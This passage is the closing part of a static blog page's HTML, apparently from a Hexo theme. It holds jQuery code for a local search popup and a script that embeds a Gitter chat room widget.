                  return resultRight.searchTextCount - resultLeft.searchTextCount;
                } else if (resultLeft.hitCount !== resultRight.hitCount) {
                  return resultRight.hitCount - resultLeft.hitCount;
                } else {
                  return resultRight.id - resultLeft.id;
                }
              });
              var searchResultList = '<ul class=\"search-result-list\">';
              resultItems.forEach(function (result) {
                searchResultList += result.item;
              })
              searchResultList += "</ul>";
              resultContent.innerHTML = searchResultList;
            }
          }

          if ('auto' === 'auto') {
            input.addEventListener('input', inputEventFunction);
          } else {
            $('.search-icon').click(inputEventFunction);
            input.addEventListener('keypress', function (event) {
              if (event.keyCode === 13) {
                inputEventFunction();
              }
            });
          }

          // remove loading animation
          $(".local-search-pop-overlay").remove();
          $('body').css('overflow', '');

          proceedsearch();
        }
      });
    }

    // handle and trigger popup window;
    $('.popup-trigger').click(function(e) {
      e.stopPropagation();
      if (isfetched === false) {
        searchFunc(path, 'local-search-input', 'local-search-result');
      } else {
        proceedsearch();
      };
    });

    $('.popup-btn-close').click(onPopupClose);
    $('.popup').click(function(e){
      e.stopPropagation();
    });
    $(document).on('keyup', function (event) {
      var shouldDismissSearchPopup = event.which === 27 &&
        $('.search-popup').is(':visible');
      if (shouldDismissSearchPopup) {
        onPopupClose();
      }
    });
  </script>





  

  

  

  
  

  

  

  

  
<script>
  ((window.gitter = {}).chat = {}).options = {
    //room替换成自己的聊天室名称即可，room的名称规则是：username/roomname
    room: 'sushengbuhuo-chat/mychat'
  };
</script>
<script src="https://sidecar.gitter.im/dist/sidecar.v1.js" async defer></script>

</body>
</html>
